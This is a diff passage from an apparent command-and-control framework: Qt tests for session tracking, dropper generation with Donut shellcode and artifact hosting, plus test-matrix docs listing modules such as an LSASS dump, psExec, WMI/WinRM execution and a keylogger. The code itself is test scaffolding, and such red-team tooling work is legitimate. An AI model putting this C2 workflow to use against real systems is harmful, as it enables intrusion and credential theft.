monkeypatch.setattr(session_panel, "datetime", FixedDateTime) + + parsed = parse_last_seen("2.5") + + assert parsed == datetime(2026, 5, 4, 12, 29, 58) + + +def test_teamserver_age_seconds_drive_last_seen_and_state(monkeypatch): + class FixedDateTime(datetime): + @classmethod + def now(cls): + return cls(2026, 5, 4, 12, 30, 0) + + monkeypatch.setattr(session_panel, "datetime", FixedDateTime) + + label, tooltip, _ = humanize_last_seen("0.010000") + state, stateTooltip = resolve_session_state(False, "0.010000", staleAfterMs=30) + almostNowLabel, _, _ = humanize_last_seen("1.999000") + almostNowState, almostNowTooltip = resolve_session_state(False, "1.999000", staleAfterMs=30) + staleLabel, _, _ = humanize_last_seen("2.000000") + staleState, staleTooltip = resolve_session_state(False, "2.000000", staleAfterMs=30) + + assert last_seen_age_ms("0.010000") == (10, True) + assert label == "now" + assert tooltip == "Last proof of life: 0.010000" + assert state == SESSION_STATE_ALIVE + assert stateTooltip == "Last seen now. Stale after 30 ms." + assert almostNowLabel == "now" + assert almostNowState == SESSION_STATE_ALIVE + assert almostNowTooltip == "Last seen now. Stale after 30 ms." + assert staleLabel == "2s ago" + assert staleState == SESSION_STATE_STALE + assert staleTooltip == "Last seen 2s ago. Stale after 30 ms." + + def test_stop_session_ack_message_is_displayed(qtbot, monkeypatch): monkeypatch.setattr("C2Client.SessionPanel.QThread.start", lambda self: None) @@ -36,9 +113,183 @@ def test_stop_session_ack_message_is_displayed(qtbot, monkeypatch): grpc.stop_ack = type("Ack", (), {"status": TeamServerApi_pb2.KO, "message": "Session not found."})() parent = QWidget() sessions = Sessions(parent, grpc) + sessions.listSessionObject = [] qtbot.addWidget(sessions) sessions.stopSession("beacon", "listener") - assert sessions.statusLabel.text() == "Session not found." + assert sessions.statusLabel.text() == "Stop session: Session not found." assert "#b00020" in sessions.statusLabel.styleSheet() + + +def test_session_toolbar_actions_use_selected_session(qtbot, monkeypatch): + monkeypatch.setattr("C2Client.SessionPanel.QThread.start", lambda self: None) + + grpc = StubGrpc() + parent = QWidget() + sessions = Sessions(parent, grpc) + sessions.listSessionObject = [ + Session( + 0, + "listener-full-hash", + "beacon-full-hash", + "host1", + "user1", + "x64", + "HIGH", + "Windows", + "2026-05-04T12:00:00", + False, + "10.0.0.5", + "1234", + "", + ) + ] + qtbot.addWidget(sessions) + + emitted = [] + sessions.interactWithSession.connect(lambda *args: emitted.append(args)) + + sessions.printSessions() + assert sessions.interactButton.isEnabled() is False + assert sessions.stopButton.isEnabled() is False + assert sessions.copySessionIdButton.isEnabled() is False + assert sessions.interactButton.text() == "Open" + assert sessions.copySessionIdButton.text() == "Copy" + assert sessions.listSession.horizontalHeader().sectionResizeMode(8) == QHeaderView.ResizeMode.Stretch + + sessions.listSession.selectRow(0) + + assert sessions.interactButton.isEnabled() is True + assert sessions.stopButton.isEnabled() is True + assert sessions.copySessionIdButton.isEnabled() is True + + sessions.interactButton.click() + assert emitted == [("beacon-full-hash", "listener-full-hash", "host1", "user1")] + + sessions.copySessionIdButton.click() + assert QApplication.clipboard().text() == "beacon-full-hash" + assert sessions.statusLabel.text() == "Beacon ID copied to clipboard." + + sessions.stopButton.click() + assert grpc.stopped_sessions[-1].beacon_hash == "beacon-full-hash" + assert grpc.stopped_sessions[-1].listener_hash == "listener-full-hash" + + +def test_session_script_snapshot_exposes_beacon_context(qtbot, monkeypatch): + monkeypatch.setattr("C2Client.SessionPanel.QThread.start", lambda self: None) + + parent = QWidget() + sessions = Sessions(parent, StubGrpc()) + sessions.sessionStaleAfterMs = 1_000_000 + sessions.listSessionObject = [ + Session( + 0, + "listener-full-hash", + "beacon-full-hash", + "host1", + "user1", + "x64", + "HIGH", + "Windows", + datetime.now().isoformat(), + False, + "10.0.0.5, 192.168.56.20", + "1234", + "note", + ) + ] + qtbot.addWidget(sessions) + + snapshot = sessions.scriptSnapshot() + + assert snapshot == [ + { + "id": 0, + "beacon_hash": "beacon-full-hash", + "listener_hash": "listener-full-hash", + "hostname": "host1", + "username": "user1", + "arch": "x64", + "privilege": "HIGH", + "os": "Windows", + "last_proof_of_life": sessions.listSessionObject[0].lastProofOfLife, + "killed": False, + "internal_ips": ["10.0.0.5", "192.168.56.20"], + "internal_ips_text": "10.0.0.5, 192.168.56.20", + "process_id": "1234", + "additional_information": "note", + "state": SESSION_STATE_ALIVE, + "state_detail": snapshot[0]["state_detail"], + } + ] + assert snapshot[0]["state_detail"].startswith("Last seen now.") + + +def test_session_table_keeps_user_column_width_after_refresh(qtbot, monkeypatch): + monkeypatch.setattr("C2Client.SessionPanel.QThread.start", lambda self: None) + + parent = QWidget() + sessions = Sessions(parent, StubGrpc()) + sessions.listSessionObject = [ + Session( + 0, + "listener-full-hash", + "beacon-full-hash", + "host1", + "user1", + "x64", + "HIGH", + "Windows", + "2026-05-04T12:00:00", + False, + "10.0.0.5, 192.168.56.20", + "1234", + "", + ) + ] + qtbot.addWidget(sessions) + + sessions.printSessions() + sessions.listSession.setColumnWidth(2, 224) + sessions.printSessions() + + assert sessions.listSession.columnWidth(2) == 224 + assert sessions.listSession.item(0, 8).text() == "10.0.0.5, 192.168.56.20" + assert sessions.listSession.item(0, 8).toolTip() == "10.0.0.5, 192.168.56.20" + + +def test_session_table_humanizes_state_last_seen_and_os(qtbot, monkeypatch): + monkeypatch.setattr("C2Client.SessionPanel.QThread.start", lambda self: None) + + full_os = "Microsoft Windows 11 Pro 10.0.22631" + parent = QWidget() + sessions = Sessions(parent, StubGrpc()) + sessions.sessionStaleAfterMs = 1_000_000 + sessions.listSessionObject = [ + Session( + 0, + "listener-full-hash", + "beacon-full-hash", + "host1", + "user1", + "x64", + "HIGH", + full_os, + datetime.now().isoformat(), + False, + "10.0.0.5", + "1234", + "", + ) + ] + qtbot.addWidget(sessions) + + sessions.printSessions() + + assert sessions.listSession.horizontalHeaderItem(10).text() == "State" + assert sessions.listSession.item(0, 6).text() == "Windows" + assert sessions.listSession.item(0, 6).toolTip() == full_os + assert sessions.listSession.item(0, 9).text() == "now" + assert sessions.listSession.item(0, 10).text() == SESSION_STATE_ALIVE + assert sessions.listSession.item(0, 10).toolTip().startswith("Last seen now.") diff --git a/C2Client/tests/test_terminal_panel_dropper_arch.py b/C2Client/tests/test_terminal_panel_dropper_arch.py index 39dd503..e09222f 100644 --- a/C2Client/tests/test_terminal_panel_dropper_arch.py +++ b/C2Client/tests/test_terminal_panel_dropper_arch.py @@ -1,5 +1,6 @@ from types import SimpleNamespace +from PyQt6.QtCore import Qt from PyQt6.QtWidgets import QWidget import C2Client.grpcClient as grpc_client_module @@ -13,12 +14,40 @@ class FakeGrpc: def __init__(self): self.commands = [] + def listArtifacts(self, query=None): + return iter([ + SimpleNamespace( + artifact_id="artifact-1234567890", + name="hosted/dropper.exe", + display_name="dropper.exe", + category="upload", + ), + SimpleNamespace( + artifact_id="hosted-1234567890", + name="hosted/dropper.exe", + display_name="dropper.exe", + category="hosted", + ), + ]) + + def listListeners(self): + return iter([ + SimpleNamespace(listener_hash="listener-primary"), + ]) + + def listSessions(self): + return iter([ + SimpleNamespace(beacon_hash="beacon-active"), + ]) + def executeTerminalCommand(self, command): self.commands.append(command.command) if command.command.startswith(terminal_panel.GrpcInfoListenerInstruction): return SimpleNamespace(result="http\n127.0.0.1\n8080\n/uploads/\n", data=b"") if command.command.startswith(terminal_panel.GrpcGetBeaconBinaryInstruction): return SimpleNamespace(result="ok", data=b"beacon") + if command.command.startswith(terminal_panel.GrpcHostArtifactInstruction): + return SimpleNamespace(result="hosted.bin", data=b"") if command.command.startswith(terminal_panel.GrpcPutIntoUploadDirInstruction): return SimpleNamespace(result="ok", data=b"") return SimpleNamespace(result="Error: unexpected command", data=b"") @@ -47,6 +76,10 @@ def generatePayloadsExploration(binary, binaryArgs, rawShellCode, url, aditional FakeDropperModule.__name__ = "FakeDropper" +def _completion_children(entries, text): + return next(entry[1] for entry in entries if entry[0] == text) + + def test_extract_dropper_target_arch_accepts_aliases_and_removes_flag(): target_arch, remaining = terminal_panel.extractDropperTargetArch( ["--arch", "aarch64", "--other", "value"], @@ -58,12 +91,12 @@ def test_extract_dropper_target_arch_accepts_aliases_and_removes_flag(): def test_dropper_arch_help_and_file_names_are_arch_specific(): - assert "Dropper Config BeaconArch x86|x64|arm64" in terminal_panel.DropperArchitectureHelp + assert "dropper config beaconArch x86|x64|arm64" in terminal_panel.DropperArchitectureHelp assert terminal_panel.makeBeaconFilePath("windows", "arm64") == "./Beacon-arm64.exe" assert terminal_panel.makeBeaconFilePath("linux", "x64") == "./Beacon-linux" -def test_dropper_worker_requests_selected_windows_arch(tmp_path, monkeypatch, qtbot): +def test_dropper_worker_requests_selected_windows_arch(tmp_path, monkeypatch, qtbot, capsys): monkeypatch.chdir(tmp_path) monkeypatch.setattr(terminal_panel, "DropperModules", [FakeDropperModule]) donut_calls = [] @@ -78,7 +111,7 @@ def fake_create_donut_shellcode(beacon_file_path, beacon_arg, target_arch, outpu grpc = FakeGrpc() worker = terminal_panel.DropperWorker( grpc, - "Dropper FakeDropper dl beacon --arch arm64", + "dropper FakeDropper dl beacon --arch arm64", "fakedropper", "dl", "beacon", @@ -89,13 +122,16 @@ def fake_create_donut_shellcode(beacon_file_path, beacon_arg, target_arch, outpu results = [] worker.finished.connect(lambda command, result: results.append((command, result))) + capsys.readouterr() worker.run() + captured = capsys.readouterr() + assert captured.out == "" assert "getBeaconBinary beacon windows arm64" in grpc.commands assert donut_calls[0][0] == "./Beacon-arm64.exe" assert donut_calls[0][2] == "arm64" assert (tmp_path / "Beacon-arm64.exe").read_bytes() == b"beacon" - assert results == [("Dropper FakeDropper dl beacon --arch arm64", "generated")] + assert results == [("dropper FakeDropper dl beacon --arch arm64", "generated")] def test_terminal_command_error_message_uses_status_message(qtbot): @@ -103,12 +139,130 @@ def test_terminal_command_error_message_uses_status_message(qtbot): terminal = terminal_panel.Terminal(parent, FakeKoGrpc()) qtbot.addWidget(terminal) - terminal.runReloadModules("ReloadModules", ["ReloadModules"]) + terminal.runReloadModules("reloadModules", ["reloadModules"]) assert "Reload failed." in terminal.editorOutput.toPlainText() assert "raw failure" not in terminal.editorOutput.toPlainText() +def test_terminal_host_uses_artifact_reference(qtbot): + parent = QWidget() + grpc = FakeGrpc() + terminal = terminal_panel.Terminal(parent, grpc) + qtbot.addWidget(terminal) + + terminal.runHost("host artifact-123 listener-pri", ["host", "artifact-123", "listener-pri"]) + + assert "infoListener listener-pri" in grpc.commands + assert "hostArtifact listener-pri artifact-123" in grpc.commands + output = terminal.editorOutput.toPlainText() + assert "http://127.0.0.1:8080/uploads/hosted.bin" in output + assert not any(command.startswith(terminal_panel.GrpcPutIntoUploadDirInstruction) for command in grpc.commands) + + +def test_terminal_host_accepts_selected_artifact_label_token(qtbot): + parent = QWidget() + grpc = FakeGrpc() + terminal = terminal_panel.Terminal(parent, grpc) + qtbot.addWidget(terminal) + + terminal.runHost( + "host dropper.exe(artifact-123) listener-pri", + ["host", "dropper.exe(artifact-123)", "listener-pri"], + ) + + assert "hostArtifact listener-pri artifact-123" in grpc.commands + + +def test_terminal_shows_welcome_message(qtbot): + parent = QWidget() + terminal = terminal_panel.Terminal(parent, FakeGrpc()) + qtbot.addWidget(terminal) + + output = terminal.editorOutput.toPlainText() + lines = output.splitlines() + assert "[system] Terminal" in lines[0] + assert lines[1].startswith("Local TeamServer terminal.") + assert lines[2] == "" + assert "[+]" not in output + assert "Local TeamServer terminal." in output + assert "Type help to list available commands" in output + + +def test_terminal_uses_dark_panel_toolbar(qtbot): + parent = QWidget() + terminal = terminal_panel.Terminal(parent, FakeGrpc()) + qtbot.addWidget(terminal) + + assert "#0b1117" in terminal.styleSheet() + assert terminal.layout.spacing() == 6 + assert terminal.searchInput.placeholderText() == "Search output" + assert terminal.commandEditor.placeholderText() == "Terminal command" + assert terminal.clearOutputButton.text() == "Clear" + assert terminal.exportLogButton.text() == "Export" + + +def test_terminal_user_commands_use_user_badge(qtbot, tmp_path, monkeypatch): + monkeypatch.chdir(tmp_path) + parent = QWidget() + terminal = terminal_panel.Terminal(parent, FakeGrpc()) + qtbot.addWidget(terminal) + + terminal.commandEditor.setText("help") + terminal.runCommand() + + output = terminal.editorOutput.toPlainText() + assert "[user] help" in output + assert output.endswith("\n\n") + assert "[+]" not in output + + +def test_terminal_help_lists_lowercase_commands_with_descriptions(qtbot): + parent = QWidget() + terminal = terminal_panel.Terminal(parent, FakeGrpc()) + qtbot.addWidget(terminal) + + terminal.runHelp("help") + + output = terminal.editorOutput.toPlainText() + assert "Available terminal commands:" in output + assert "Use help for command-specific details." in output + assert "host - Host a TeamServer artifact through an HTTP/HTTPS listener." in output + assert "dropper - Generate and host a beacon dropper." in output + assert "Host\n" not in output + assert "Socks\n" not in output + + +def test_terminal_specific_help_matches_command_spec_style(qtbot, tmp_path, monkeypatch): + monkeypatch.chdir(tmp_path) + parent = QWidget() + terminal = terminal_panel.Terminal(parent, FakeGrpc()) + qtbot.addWidget(terminal) + + terminal.commandEditor.setText("help host") + terminal.runCommand() + + output = terminal.editorOutput.toPlainText() + assert "host\nHost a TeamServer artifact" in output + assert "Usage: host [hosted_filename]" in output + assert "Kind: terminal" in output + assert "Target: teamserver" in output + assert "Arguments:" in output + assert "Examples:" in output + + +def test_terminal_unknown_help_is_explicit(qtbot, tmp_path, monkeypatch): + monkeypatch.chdir(tmp_path) + parent = QWidget() + terminal = terminal_panel.Terminal(parent, FakeGrpc()) + qtbot.addWidget(terminal) + + terminal.commandEditor.setText("help doesNotExist") + terminal.runCommand() + + assert "No terminal help available for doesNotExist." in terminal.editorOutput.toPlainText() + + def test_create_donut_shellcode_reports_subprocess_crash(tmp_path, monkeypatch): monkeypatch.chdir(tmp_path) @@ -122,3 +276,118 @@ class Completed: error = terminal_panel.createDonutShellcode("./Beacon-arm64.exe", "127.0.0.1 443 https", "arm64") assert error == "Donut shellcode generation crashed with signal 11." + + +def test_terminal_completer_uses_artifacts_listeners_sessions_and_dropper_modules(monkeypatch): + monkeypatch.setattr(terminal_panel, "DropperModules", [FakeDropperModule]) + monkeypatch.setattr(terminal_panel, "ShellCodeModules", []) + + completions = terminal_panel.build_terminal_completer_data(FakeGrpc()) + + help_children = _completion_children(completions, terminal_panel.HelpInstruction) + assert (terminal_panel.HostInstruction, []) in help_children + assert (terminal_panel.SocksInstruction, []) in help_children + + host_children = _completion_children(completions, terminal_panel.HostInstruction) + host_labels = [entry[0] for entry in host_children] + assert host_labels == ["dropper.exe (artifact-123)"] + assert "dropper.exe" not in host_labels + assert "artifact-1234567890" not in host_labels + assert "artifact-123" not in host_labels + artifact_children = _completion_children(host_children, "dropper.exe (artifact-123)") + assert ("listener-primary", []) not in artifact_children + listener_children = _completion_children(artifact_children, "listener") + assert ("", []) in listener_children + + dropper_children = _completion_children(completions, terminal_panel.DropperInstruction) + module_children = _completion_children(dropper_children, "FakeDropper") + assert ("listener-primary", []) not in module_children + download_listener_children = _completion_children(module_children, "listener") + beacon_listener_children = _completion_children(download_listener_children, "listener") + arch_children = _completion_children(beacon_listener_children, "--arch") + assert ("arm64", []) in arch_children + + config_children = _completion_children(dropper_children, terminal_panel.DropperConfigSubInstruction) + generator_children = _completion_children(config_children, terminal_panel.DropperConfigShellcodeGeneratorDisplay) + assert (terminal_panel.ShellcodeGeneratorDonut, []) in generator_children + + socks_children = _completion_children(completions, terminal_panel.SocksInstruction) + socks_bind_children = _completion_children(socks_children, "bind") + assert ("beacon-active", []) in socks_bind_children + + +def test_terminal_host_completer_displays_artifact_label_but_inserts_safe_token(): + completions = terminal_panel.build_terminal_completer_data(FakeGrpc()) + options = terminal_panel.completion_options(completions, "host", descend_exact=True) + hash_options = terminal_panel.completion_options(completions, "host artifact-123") + + assert options[0].label == "dropper.exe (artifact-123)" + assert options[0].insert_text == "dropper.exe(artifact-123)" + assert options[0].full_text == "host dropper.exe(artifact-123)" + assert hash_options[0].label == "dropper.exe (artifact-123)" + + +def test_terminal_completer_does_not_offer_exact_leaf_commands(): + completions = terminal_panel.build_terminal_completer_data(FakeGrpc()) + + assert terminal_panel.completion_options(completions, "socks start") == [] + assert terminal_panel.completion_options(completions, "reloadModules") == [] + + +def test_terminal_completer_only_descends_exact_matches_on_explicit_completion(): + completions = [("ls", [("/tmp", [])]), ("cd", [("/tmp", [])])] + + assert terminal_panel.completion_options(completions, "ls") == [] + assert terminal_panel.completion_options(completions, "ls ")[0].full_text == "ls /tmp" + assert terminal_panel.completion_options(completions, "ls", descend_exact=True)[0].full_text == "ls /tmp" + + +def test_terminal_command_editor_tab_cycles_without_static_completer_reset(tmp_path, qtbot, monkeypatch): + monkeypatch.chdir(tmp_path) + editor = terminal_panel.CommandEditor(grpcClient=FakeGrpc()) + qtbot.addWidget(editor) + editor.show() + editor.setFocus() + + assert editor._refreshOnFocus is False + + editor.nextCompletion() + assert editor.dropdown.isVisible() + assert editor.dropdown.currentRow() == 0 + + editor.nextCompletion() + assert editor.dropdown.currentRow() == 1 + + editor.nextCompletion() + assert editor.dropdown.currentRow() == 2 + + editor.previousCompletion() + assert editor.dropdown.currentRow() == 1 + + editor.hideCompletionPopup() + qtbot.keyClick(editor.lineEdit, Qt.Key.Key_Backtab) + assert editor.dropdown.isVisible() + assert editor.dropdown.currentRow() == editor.dropdown.count() - 1 + + +def test_terminal_command_editor_opens_completer_while_typing(tmp_path, qtbot, monkeypatch): + monkeypatch.chdir(tmp_path) + editor = terminal_panel.CommandEditor(grpcClient=FakeGrpc()) + qtbot.addWidget(editor) + editor.show() + editor.setFocus() + + qtbot.keyClicks(editor.lineEdit, "h") + qtbot.wait(10) + + assert editor.completionPrefix() == "h" + assert editor.dropdown.isVisible() + assert editor.dropdown.currentRow() == 0 + assert editor.dropdown.item(0).text() == "help" + + editor.setText("host") + editor.setCursorPosition(4) + assert editor.showCompletionPopup(descendExact=True) + assert editor.completionPrefix() == "host" + assert editor.dropdown.item(0).text() == "dropper.exe (artifact-123)" + assert editor.currentCompletion().full_text == "host dropper.exe(artifact-123)" diff --git a/C2Client/tests/test_ui_status.py b/C2Client/tests/test_ui_status.py new file mode 100644 index 0000000..17aa5da --- /dev/null +++ b/C2Client/tests/test_ui_status.py @@ -0,0 +1,29 @@ +from C2Client.ui_status import ( + StatusKind, + compact_message, + format_action_status, + format_last_error, + status_kind_for_ok, + status_stylesheet, +) + + +def test_compact_message_collapses_whitespace_and_truncates(): + message = compact_message(" ListSessions:\n deadline exceeded while connecting ", limit=32) + + assert message == "ListSessions: deadline exceed..." + + +def test_status_stylesheet_uses_shared_error_color(): + assert status_kind_for_ok(True) == StatusKind.SUCCESS + assert status_kind_for_ok(False) == StatusKind.ERROR + assert status_stylesheet(StatusKind.ERROR) == "color: #b00020;" + + +def test_format_last_error_keeps_operation_context(): + assert format_last_error("StopSession", "Session not found.") == "StopSession: Session not found." + + +def test_format_action_status_adds_action_context_once(): + assert format_action_status("Stop session", "Session not found.") == "Stop session: Session not found." + assert format_action_status("Stop session", "Stop session failed.") == "Stop session failed." diff --git a/C2Client/tests/test_window_chrome.py b/C2Client/tests/test_window_chrome.py new file mode 100644 index 0000000..e0b1333 --- /dev/null +++ b/C2Client/tests/test_window_chrome.py @@ -0,0 +1,23 @@ +import pytest + +from C2Client import window_chrome + + +def test_colorref_from_hex_converts_rgb_to_windows_colorref(): + assert window_chrome.colorref_from_hex("#0b1117") == 0x0017110B + assert window_chrome.colorref_from_hex("263241") == 0x00413226 + + +def test_colorref_from_hex_rejects_invalid_values(): + with pytest.raises(ValueError): + window_chrome.colorref_from_hex("#123") + + +def test_apply_dark_window_chrome_is_noop_off_windows(monkeypatch): + class Widget: + def winId(self): + raise AssertionError("winId should not be requested off Windows") + + monkeypatch.setattr(window_chrome.sys, "platform", "linux") + + assert window_chrome.apply_dark_window_chrome(Widget()) is False diff --git a/core b/core index e4e885a..108a370 160000 --- a/core +++ b/core @@ -1 +1 @@ -Subproject commit e4e885adc15a0eb57561f5ccc648df528aa3b414 +Subproject commit 108a3708079a4d2a741f16218119fe4407484196 diff --git a/docs/TEST_GAPS.md b/docs/TEST_GAPS.md new file mode 100644 index 0000000..c683603 --- /dev/null +++ b/docs/TEST_GAPS.md @@ -0,0 +1,28 @@ +# Test Gaps + +_Generated by `scripts/generate-test-state.py`._ + +| Final | Priority | ID | Area | Feature | Scenario | Auto | Manual | +|---|---|---|---|---|---|---|---| +| blocked | critical | `RELEASE-WINDOWS-ARTIFACTS-001` | Release | Windows release artifacts | Build/release output contains WindowsBeacons/, WindowsModules, Tools, Scripts, CommandSpecs, and TeamServer data layout. | n/a | blocked | +| blocked | high | `MODULE-CHISEL-CONTRACT-001` | Modules | chisel | Resolve fixed chisel binary from Tools for beacon arch and manage chisel start/status/stop. | pass | blocked | +| blocked | high | `MODULE-COFFLOADER-CONTRACT-001` | Modules | coffLoader | Load COFF object from Tools and execute with packed arguments. | pass | blocked | +| blocked | high | `MODULE-KERBEROSUSETICKET-CONTRACT-001` | Modules | kerberosUseTicket | Load kirbi ticket from UploadedArtifacts and apply it on Windows beacon. | pass | blocked | +| blocked | high | `MODULE-MINIDUMP-CONTRACT-001` | Modules | miniDump | Dump LSASS to XORed GeneratedArtifacts/minidump/beacon output and support local decrypt helper. | pass | blocked | +| blocked | high | `MODULE-PSEXEC-CONTRACT-001` | Modules | psExec | Resolve service executable from Tools or UploadedArtifacts, handle credentials, and execute remote service command. | pass | blocked | +| blocked | high | `MODULE-REVERSEPORTFORWARD-CONTRACT-001` | Modules | reversePortForward | Start/stop reverse port forwarding and emit recurring traffic chunks. | pass | blocked | +| blocked | high | `MODULE-WINDOWS-EXEC-001` | Modules | Windows remote execution modules | Validate cimExec, dcomExec, sshExec, winRm, and wmiExec parameter validation plus functional remote execution where available. | pass | blocked | +| blocked | medium | `LISTENER-GITHUB-001` | Listeners | GitHub listener | Start GitHub listener and route task/result traffic through configured repository transport. | untested | blocked | +| blocked | medium | `MODULE-CIMEXEC-CONTRACT-001` | Modules | cimExec | Validate CIM execution parameters and execute a controlled remote command when lab target exists. | pass | blocked | +| blocked | medium | `MODULE-DCOMEXEC-CONTRACT-001` | Modules | dcomExec | Validate DCOM execution parameters and execute a controlled remote command when lab target exists. | pass | blocked | +| blocked | medium | `MODULE-SSHEXEC-CONTRACT-001` | Modules | sshExec | Validate SSH execution parameters and execute a controlled remote command when lab target exists. | pass | blocked | +| blocked | medium | `MODULE-WINRM-CONTRACT-001` | Modules | winRm | Validate WinRM execution parameters and execute a controlled remote command when lab target exists. | pass | blocked | +| blocked | medium | `MODULE-WMIEXEC-CONTRACT-001` | Modules | wmiExec | Validate WMI execution parameters and execute a controlled remote command when lab target exists. | pass | blocked | +| partial | high | `C2CLIENT-CONFIG-CERT-001` | C2Client | TLS certificate config | Use C2_CERT_PATH when set and report a clear error when the certificate is missing. | pass | untested | +| partial | high | `LISTENER-SMB-001` | Listeners | SMB listener | Start SMB listener and route task/result traffic through named pipe transport. | untested | pass | +| partial | high | `LISTENER-TCP-001` | Listeners | TCP listener | Start TCP listener and route task/result traffic. | untested | pass | +| partial | high | `TEAMSERVER-LISTENER-ARTIFACT-SERVICE-001` | TeamServer | Listener artifact service | Resolve beacon binaries by target OS and arch for droppers and terminal operations. | pass | untested | +| partial | high | `TEAMSERVER-SHELLCODE-SERVICE-001` | TeamServer | Shellcode service | Generate shellcode artifacts from supported sources and expose generic generator metadata. | pass | untested | +| untested | medium | `LISTENER-DNS-001` | Listeners | DNS listener | Start DNS listener and route task/result traffic within DNS transport limits. | untested | untested | +| planned | medium | `C2CLIENT-TERMINAL-CREDENTIALS-001` | C2Client | Credential store terminal commands | Add, list, and retrieve credentials through terminal commands. | n/a | n/a | +| planned | medium | `MODULE-KEYLOGGER-GENERATED-ARTIFACT-002` | Modules | keyLogger generated artifact | Persist keylogger follow-up output incrementally into GeneratedArtifacts/keylogger with host/timestamp naming. | n/a | n/a | diff --git a/docs/TEST_MATRIX.md b/docs/TEST_MATRIX.md new file mode 100644 index 0000000..2b6cacd --- /dev/null +++ b/docs/TEST_MATRIX.md @@ -0,0 +1,121 @@ +# Test Matrix + +_Generated by `scripts/generate-test-state.py`._ + +| Final | Validation | Priority | ID | Area | Feature | OS | Arch | Listener | Artifact | Auto | Manual | +|---|---|---|---|---|---|---|---|---|---|---|---| +| pass | auto+manual | critical | `ARTIFACT-GENERATED-001` | Artifacts | GeneratedArtifacts | teamserver | any | n/a | generated | pass | pass | +| pass | auto+manual | critical | `ARTIFACT-LAYOUT-001` | Artifacts | Release data layout | teamserver | any | n/a | any | pass | pass | +| pass | auto+manual | high | `ARTIFACT-SCRIPTS-001` | Artifacts | Scripts | teamserver | any | n/a | scripts | pass | pass | +| pass | auto+manual | critical | `ARTIFACT-TOOLS-001` | Artifacts | Tools | teamserver | any | n/a | tools | pass | pass | +| pass | auto+manual | high | `ARTIFACT-UPLOADED-001` | Artifacts | UploadedArtifacts | teamserver | any | n/a | uploaded | pass | pass | +| pass | auto+manual | critical | `BEACON-CORE-CHUNKED-RESULTS-001` | Beacon | Chunked command results | any | any | any | generated | pass | pass | +| pass | auto+manual | critical | `BEACON-CORE-HEARTBEAT-001` | Beacon | Heartbeat and state | any | any | any | n/a | pass | pass | +| pass | auto+manual | critical | `BEACON-CORE-MODULE-LIFECYCLE-001` | Beacon | Module lifecycle | any | any | any | modules | pass | pass | +| pass | auto+manual | critical | `BEACON-CORE-REGISTER-001` | Beacon | Registration and metadata | any | any | any | n/a | pass | pass | +| pass | auto+manual | critical | `BEACON-CORE-TASK-QUEUE-001` | Beacon | Task queue | any | any | any | n/a | pass | pass | +| pass | auto+manual | high | `C2CLIENT-ARTIFACTS-DELETE-001` | C2Client | Artifact delete | client | n/a | n/a | generated | pass | pass | +| pass | auto+manual | high | `C2CLIENT-ARTIFACTS-DOWNLOAD-001` | C2Client | Artifact download | client | n/a | n/a | generated | pass | pass | +| pass | auto+manual | high | `C2CLIENT-ARTIFACTS-UPLOAD-001` | C2Client | Artifact upload | client | any | n/a | uploaded | pass | pass | +| pass | auto+manual | critical | `C2CLIENT-ARTIFACTS-LIST-001` | C2Client | Artifacts tab | client | n/a | n/a | any | pass | pass | +| pass | auto+manual | high | `C2CLIENT-CONSOLE-HELP-001` | C2Client | Beacon command help | client | n/a | any | command_specs | pass | pass | +| pass | auto+manual | critical | `C2CLIENT-CONSOLE-AUTOCOMPLETE-001` | C2Client | Beacon console autocomplete | client | n/a | any | command_specs | pass | pass | +| pass | auto | critical | `C2CLIENT-CONFIG-ENV-001` | C2Client | Config loading | client | n/a | n/a | n/a | pass | n/a | +| pass | auto+manual | high | `C2CLIENT-CONSOLE-FORMATTING-001` | C2Client | Console formatting | client | n/a | any | n/a | pass | pass | +| planned | planned | medium | `C2CLIENT-TERMINAL-CREDENTIALS-001` | C2Client | Credential store terminal commands | client | n/a | n/a | n/a | n/a | n/a | +| pass | auto+manual | medium | `C2CLIENT-AI-PANEL-001` | C2Client | Data AI panel | client | n/a | n/a | n/a | pass | pass | +| pass | auto+manual | high | `C2CLIENT-TERMINAL-DROPPER-001` | C2Client | Dropper | client | x64 | https | hosted | pass | pass | +| pass | auto+manual | critical | `C2CLIENT-STARTUP-GUI-001` | C2Client | GUI startup | client | n/a | n/a | n/a | pass | pass | +| pass | auto+manual | medium | `C2CLIENT-GRAPH-PANEL-001` | C2Client | Graph panel | client | n/a | any | n/a | pass | pass | +| pass | auto+manual | high | `C2CLIENT-HOOKS-PANEL-001` | C2Client | Hooks panel | client | n/a | any | scripts | pass | pass | +| pass | auto+manual | high | `C2CLIENT-LISTENER-PANEL-001` | C2Client | Listener panel | client | n/a | any | n/a | pass | pass | +| pass | auto+manual | medium | `C2CLIENT-MAIN-THEME-001` | C2Client | Main layout theme | client | n/a | n/a | n/a | pass | pass | +| pass | auto | critical | `C2CLIENT-RPC-BINDINGS-001` | C2Client | Protocol bindings | client | n/a | n/a | n/a | pass | n/a | +| pass | auto+manual | high | `C2CLIENT-SESSION-PANEL-001` | C2Client | Sessions panel | client | n/a | any | n/a | pass | pass | +| partial | auto+manual | high | `C2CLIENT-CONFIG-CERT-001` | C2Client | TLS certificate config | client | n/a | https | n/a | pass | untested | +| pass | auto+manual | critical | `C2CLIENT-TERMINAL-HOST-001` | C2Client | Terminal host command | client | n/a | https | hosted | pass | pass | +| pass | auto+manual | high | `C2CLIENT-TERMINAL-BASE-001` | C2Client | Terminal tab | client | n/a | n/a | n/a | pass | pass | +| pass | auto+manual | high | `COMMON-END-001` | CommonCommands | end | any | any | any | n/a | pass | pass | +| pass | auto+manual | critical | `COMMON-HELP-001` | CommonCommands | help | any | any | any | command_specs | pass | pass | +| pass | auto+manual | high | `COMMON-LISTMODULE-001` | CommonCommands | listModule | any | any | any | modules | pass | pass | +| pass | auto+manual | high | `COMMON-LISTENER-001` | CommonCommands | listener | any | any | any | n/a | pass | pass | +| pass | auto+manual | critical | `COMMON-LOADMODULE-001` | CommonCommands | loadModule | any | any | any | modules | pass | pass | +| pass | auto+manual | high | `COMMON-SLEEP-001` | CommonCommands | sleep | any | any | any | n/a | pass | pass | +| pass | auto+manual | critical | `COMMON-UNLOADMODULE-001` | CommonCommands | unloadModule | any | any | any | modules | pass | pass | +| pass | auto | high | `LIBSOCKS5-PROTOCOL-001` | Libraries | libSocks5 protocol handling | teamserver | n/a | n/a | n/a | pass | n/a | +| untested | auto+manual | medium | `LISTENER-DNS-001` | Listeners | DNS listener | any | any | dns | n/a | untested | untested | +| blocked | auto+manual | medium | `LISTENER-GITHUB-001` | Listeners | GitHub listener | any | any | github | n/a | untested | blocked | +| pass | manual | high | `LISTENER-HTTP-001` | Listeners | HTTP listener | any | any | http | n/a | n/a | pass | +| pass | auto+manual | critical | 